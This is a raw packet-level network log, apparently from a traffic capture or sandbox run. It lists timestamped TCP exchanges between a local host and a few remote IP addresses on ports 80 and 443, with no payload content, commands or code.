Nov 22, 2024 14:43:53.694785118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.694797993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.694849014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.695892096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.695949078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.696043015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.696086884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.697127104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.697173119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.697271109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.697362900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.698406935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.698419094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.698463917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.699764967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.699862003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.699892044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.699968100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.700925112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.700937033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.700987101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.702254057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.702266932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.702317953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.702663898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.702717066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.702934027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.702996016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.703635931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.703691006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.704010963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.704060078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.704920053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.704968929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.704978943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.705022097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.706192970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.706244946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.706429005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.706485033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.707484007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.707560062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.707592964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.707665920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.708758116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.708833933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.708849907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.709049940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.709944963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.710028887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.710061073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.710208893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.711380959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.711395025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.711438894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.712482929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.712496996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.712536097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.713668108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.713681936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.713723898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.715167999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.715202093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.715257883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.716157913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.716173887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.716237068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.716253996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.717158079 CET	443	49881	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.717835903 CET	49881	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:53.717847109 CET	443	49881	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.717983007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.718019962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.718043089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.718060017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.718307018 CET	443	49881	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.718724966 CET	49881	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:53.718813896 CET	443	49881	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.718832970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.718899012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.718899965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.719193935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.720138073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.720150948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.720191956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.721272945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.721385956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.721421957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.721452951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.722522020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.722537041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.722601891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.724056005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.724069118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.724119902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.725001097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.725014925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.725066900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.726293087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.726306915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.726350069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.727411032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.727468014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.727516890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.727586031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.728627920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.728679895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.728682995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.728729010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.730045080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.730057955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.730094910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.730118036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.731146097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.731199026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.731223106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.731272936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.732422113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.732547045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.732564926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.732605934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.733599901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.733661890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.733973026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.734021902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.734930992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.734982014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.735176086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.735245943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.736110926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.736159086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.736280918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.736390114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.737441063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.737452984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.737684965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.738764048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.738802910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.738848925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.740494013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.740601063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.740618944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.740705013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.741111994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.741126060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.741159916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.741177082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.742428064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.742439032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.742485046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.742503881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.775664091 CET	443	49882	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.775968075 CET	49882	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:53.775978088 CET	443	49882	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.776366949 CET	443	49882	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.776705980 CET	49882	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:53.776789904 CET	443	49882	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.818485975 CET	443	49876	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.818559885 CET	443	49876	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.818747044 CET	49876	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.819087982 CET	49876	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.819108009 CET	443	49876	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.819124937 CET	49876	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.819133997 CET	443	49876	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.822233915 CET	443	49878	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.822288036 CET	443	49878	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.822484016 CET	49885	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.822499990 CET	49878	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.822526932 CET	443	49885	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.822632074 CET	49878	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.822638035 CET	443	49878	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.822649956 CET	49878	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.822654963 CET	443	49878	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.822666883 CET	49885	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.823131084 CET	49885	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.823144913 CET	443	49885	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.825530052 CET	49886	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.825558901 CET	443	49886	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.825679064 CET	49886	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.825824022 CET	49886	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.825834036 CET	443	49886	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.833652973 CET	49881	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:53.852622032 CET	49882	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:53.896136045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.896152973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.896220922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.896730900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.896795988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.896892071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.896936893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.897021055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.897073030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.898247957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.898263931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.898312092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.899434090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.899568081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.899573088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.899614096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.900578976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.900592089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.900629044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.901904106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.901916027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.901954889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.901981115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.903039932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.903074026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.903121948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.904177904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.904237032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.904944897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.904999971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.905482054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.905534983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.905946970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.905997992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.906651974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.906763077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.906899929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.906950951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.908211946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.908298969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.908361912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.908406973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.909142971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.909210920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.909265995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.909353971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.910326958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.910489082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.910835028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.910890102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.911536932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.911551952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.911586046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.911604881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.912930965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.912976980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.912980080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.913022041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.914132118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.914144993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.914192915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.915273905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.915287971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.915349007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.916429043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.916441917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.916496992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.917598009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.917649984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.917905092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.917965889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.918809891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.918845892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.918864965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.918886900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.920046091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.920094967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.920345068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.920438051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.920686007 CET	443	49879	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.920739889 CET	443	49879	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.921017885 CET	49879	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.921041965 CET	49879	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.921055079 CET	443	49879	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.921066046 CET	49879	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.921070099 CET	443	49879	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.921320915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.921335936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.921389103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.922496080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.922508955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.922565937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.922581911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.923803091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.923820972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.923856974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.923872948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.924972057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.924988985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.925039053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.925071001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.925215960 CET	49887	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.925254107 CET	443	49887	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.925421000 CET	49887	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.925611973 CET	49887	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.925620079 CET	443	49887	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.926127911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.926183939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.926223993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.926382065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.929867029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.929883957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.929950953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.929996014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.930012941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.930049896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.930077076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.930821896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.930839062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.930881023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.932005882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.932068110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.932141066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.932250023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.933324099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.933376074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.933444023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.933489084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.934508085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.934562922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.934695005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.934782028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.935699940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.935713053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.935820103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.936872959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.936934948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.936992884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.937043905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.938000917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.938050032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.938143969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.938199043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.939338923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.939352036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.939400911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.939419031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.940531969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.940586090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.941212893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.941263914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.941802979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.941817045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.941865921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.942781925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.942914009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.943125010 CET	80	49819	185.215.113.206	192.168.2.6
